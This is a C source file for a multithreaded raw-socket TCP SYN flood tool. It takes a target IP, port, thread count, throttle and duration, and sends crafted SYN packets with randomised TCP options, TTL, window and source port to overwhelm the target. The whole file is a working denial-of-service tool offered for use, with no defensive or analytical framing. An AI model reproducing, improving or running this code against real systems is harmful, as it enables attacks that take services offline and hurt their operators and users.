237 lines
7.7 KiB
C
237 lines
7.7 KiB
C
/*
|
|
script made with love by googleadmin
|
|
*/
|
|
|
|
#include <unistd.h>
|
|
#include <time.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/ioctl.h>
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
#include <pthread.h>
|
|
#include <netinet/tcp.h>
|
|
#include <netinet/ip.h>
|
|
#include <netinet/in.h>
|
|
#include <netinet/if_ether.h>
|
|
#include <netdb.h>
|
|
#include <net/if.h>
|
|
#include <arpa/inet.h>
|
|
#define MAX_PACKET_SIZE 4096
|
|
#define PHI 0x9e3779b9
|
|
static unsigned long int Q[4096], c = 362436;
|
|
static unsigned int floodport;
|
|
volatile int limiter;
|
|
volatile unsigned int pps;
|
|
volatile unsigned int sleeptime = 100;
|
|
void init_rand(unsigned long int x)
|
|
{
|
|
int i;
|
|
Q[0] = x;
|
|
Q[1] = x + PHI;
|
|
Q[2] = x + PHI + PHI;
|
|
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
|
|
}
|
|
unsigned long int rand_cmwc(void)
|
|
{
|
|
unsigned long long int t, a = 18782LL;
|
|
static unsigned long int i = 4095;
|
|
unsigned long int x, r = 0xfffffffe;
|
|
i = (i + 1) & 4095;
|
|
t = a * Q[i] + c;
|
|
c = (t >> 32);
|
|
x = t + c;
|
|
if (x < c) {
|
|
x++;
|
|
c++;
|
|
}
|
|
return (Q[i] = r - x);
|
|
}
|
|
int randnum(int min_num, int max_num)
|
|
{
|
|
int result = 0, low_num = 0, hi_num = 0;
|
|
|
|
if (min_num < max_num)
|
|
{
|
|
low_num = min_num;
|
|
hi_num = max_num + 1;
|
|
} else {
|
|
low_num = max_num + 1;
|
|
hi_num = min_num;
|
|
}
|
|
|
|
|
|
result = (rand_cmwc() % (hi_num - low_num)) + low_num;
|
|
return result;
|
|
}
|
|
unsigned short csum (unsigned short *buf, int count)
|
|
{
|
|
register unsigned long sum = 0;
|
|
while( count > 1 ) { sum += *buf++; count -= 2; }
|
|
if(count > 0) { sum += *(unsigned char *)buf; }
|
|
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
|
|
return (unsigned short)(~sum);
|
|
}
|
|
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph, int pipisize) {
|
|
struct tcp_pseudo
|
|
{
|
|
unsigned long src_addr;
|
|
unsigned long dst_addr;
|
|
unsigned char zero;
|
|
unsigned char proto;
|
|
unsigned short length;
|
|
} pseudohead;
|
|
unsigned short total_len = iph->tot_len;
|
|
pseudohead.src_addr=iph->saddr;
|
|
pseudohead.dst_addr=iph->daddr;
|
|
pseudohead.zero=0;
|
|
pseudohead.proto=IPPROTO_TCP;
|
|
pseudohead.length=htons(sizeof(struct tcphdr) + pipisize);
|
|
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr) + pipisize;
|
|
unsigned short *tcp = malloc(totaltcp_len);
|
|
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
|
|
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr) + pipisize);
|
|
unsigned short output = csum(tcp,totaltcp_len);
|
|
free(tcp);
|
|
return output;
|
|
}
|
|
void setup_ip_header(struct iphdr *iph)
|
|
{
|
|
iph->ihl = 5;
|
|
iph->version = 4;
|
|
iph->tos = 0;
|
|
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + 24;
|
|
iph->id = htonl(54321);
|
|
iph->frag_off = htons(0x4000);
|
|
iph->ttl = MAXTTL;
|
|
iph->protocol = IPPROTO_TCP;
|
|
iph->check = 0;
|
|
iph->saddr = inet_addr("192.168.3.100");
|
|
}
|
|
void setup_tcp_header(struct tcphdr *tcph)
|
|
{
|
|
tcph->source = htons(5678);
|
|
tcph->check = 0;
|
|
memcpy((void *)tcph + sizeof(struct tcphdr), "\x02\x04\x05\xb4\x04\x02\x08\x0a\x00\xd9\x68\xa3\x00\x00\x00\x00\x01\x03\x03\x07\xfe\x04\xf9\x89", 24); // tcp options
|
|
//memcpy((void *)tcph + sizeof(struct tcphdr) + 24, "\x55\x53\x45\x52\x20\x63\x73\x61\x6e\x64\x65\x72\x73\x0d\x0a", 15);
|
|
tcph->syn = 1;
|
|
tcph->window = htons(64240);
|
|
tcph->doff = ((sizeof (struct tcphdr)) + 24)/4;
|
|
}
|
|
void *flood(void *par1)
|
|
{
|
|
char *td = (char *)par1;
|
|
char datagram[MAX_PACKET_SIZE];
|
|
struct iphdr *iph = (struct iphdr *)datagram;
|
|
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
|
|
struct sockaddr_in sin;
|
|
sin.sin_family = AF_INET;
|
|
sin.sin_port = htons(floodport);
|
|
sin.sin_addr.s_addr = inet_addr(td);
|
|
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
|
|
if(s < 0){
|
|
fprintf(stderr, "Could not open raw socket.\n");
|
|
exit(-1);
|
|
}
|
|
memset(datagram, 0, MAX_PACKET_SIZE);
|
|
setup_ip_header(iph);
|
|
setup_tcp_header(tcph);
|
|
tcph->dest = htons(floodport);
|
|
iph->saddr = sin.sin_addr.s_addr;
|
|
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
|
iph->daddr = (1 | 0 | 0 | 0);
|
|
int tmp = 1;
|
|
const int *val = &tmp;
|
|
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
|
|
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
|
|
exit(-1);
|
|
}
|
|
init_rand(time(NULL));
|
|
register unsigned int i;
|
|
register unsigned int ipc = 0100000000;
|
|
i = 0;
|
|
while(1){
|
|
tcph->check = 0;
|
|
tcph->seq = htonl(rand_cmwc() & 0xFFFFFFFFF);
|
|
tcph->doff = ((sizeof (struct tcphdr)) + 24)/4;
|
|
tcph->dest = htons(floodport);
|
|
iph->ttl = randnum(100,130);
|
|
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
|
|
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
|
tcph->source = htons(rand_cmwc() & 0xFFFF);
|
|
tcph->dest = htons(floodport);
|
|
tcph->check = tcpcsum(iph, tcph, 24);
|
|
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
|
|
int windows[3] = {29200, 64240, 65535};
|
|
int ctos[3] = {0, 40, 72};
|
|
iph->tos = ctos[randnum(0,2)];
|
|
char stronka[] = "\x02\x04\x05\xb4\x04\x02\x08\x0a\x00\xd9\x68\xa3\x00\x00\x00\x00\x01\x03\x03\x07\xfe\x04\xf9\x89";
|
|
stronka[2] = randnum(4, 5);
|
|
stronka[3] = stronka[2] == 5 ? randnum(1, 180) : randnum(1, 250);
|
|
stronka[7] = 10;
|
|
stronka[8] = randnum(1, 250);
|
|
stronka[17] = 3;
|
|
stronka[18] = 3;
|
|
stronka[19] = randnum(6,9);
|
|
stronka[20] = 34;
|
|
stronka[22] = randnum(1,255);
|
|
stronka[23] = randnum(1,255);
|
|
tcph->window = htons(windows[randnum(0,2)]);
|
|
unsigned long ip = ipc++;
|
|
iph->daddr = htonl(ip);
|
|
const char *newpayload = stronka;
|
|
memcpy((void *)tcph + sizeof(struct tcphdr), newpayload, 24);
|
|
pps++;
|
|
if(i >= limiter)
|
|
{
|
|
i = 0;
|
|
usleep(sleeptime);
|
|
}
|
|
i++;
|
|
}
|
|
}
|
|
int main(int argc, char *argv[ ])
|
|
{
|
|
if(argc < 6){
|
|
fprintf(stderr, "tcpipi hehehehehe!\n");
|
|
fprintf(stdout, "Usage: %s <target IP> <port> <number threads to use> <throttle, -1 for no limit> <time>\n", argv[0]);
|
|
exit(-1);
|
|
}
|
|
fprintf(stdout, "Setting up Sockets...\n");
|
|
int num_threads = atoi(argv[3]);
|
|
floodport = atoi(argv[2]);
|
|
int maxpps = atoi(argv[4]);
|
|
limiter = 0;
|
|
pps = 0;
|
|
pthread_t thread[num_threads];
|
|
int multiplier = 24;
|
|
int i;
|
|
for(i = 0;i<num_threads;i++){
|
|
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
|
|
}
|
|
fprintf(stdout, "Starting Flood...\n");
|
|
for(i = 0;i<(atoi(argv[5])*multiplier);i++)
|
|
{
|
|
usleep((1000/multiplier)*1000);
|
|
if((pps*multiplier) > maxpps)
|
|
{
|
|
if(1 > limiter)
|
|
{
|
|
sleeptime+=100;
|
|
} else {
|
|
limiter--;
|
|
}
|
|
} else {
|
|
limiter++;
|
|
if(sleeptime > 25)
|
|
{
|
|
sleeptime-=25;
|
|
} else {
|
|
sleeptime = 0;
|
|
}
|
|
}
|
|
pps = 0;
|
|
}
|
|
return 0;
|
|
} |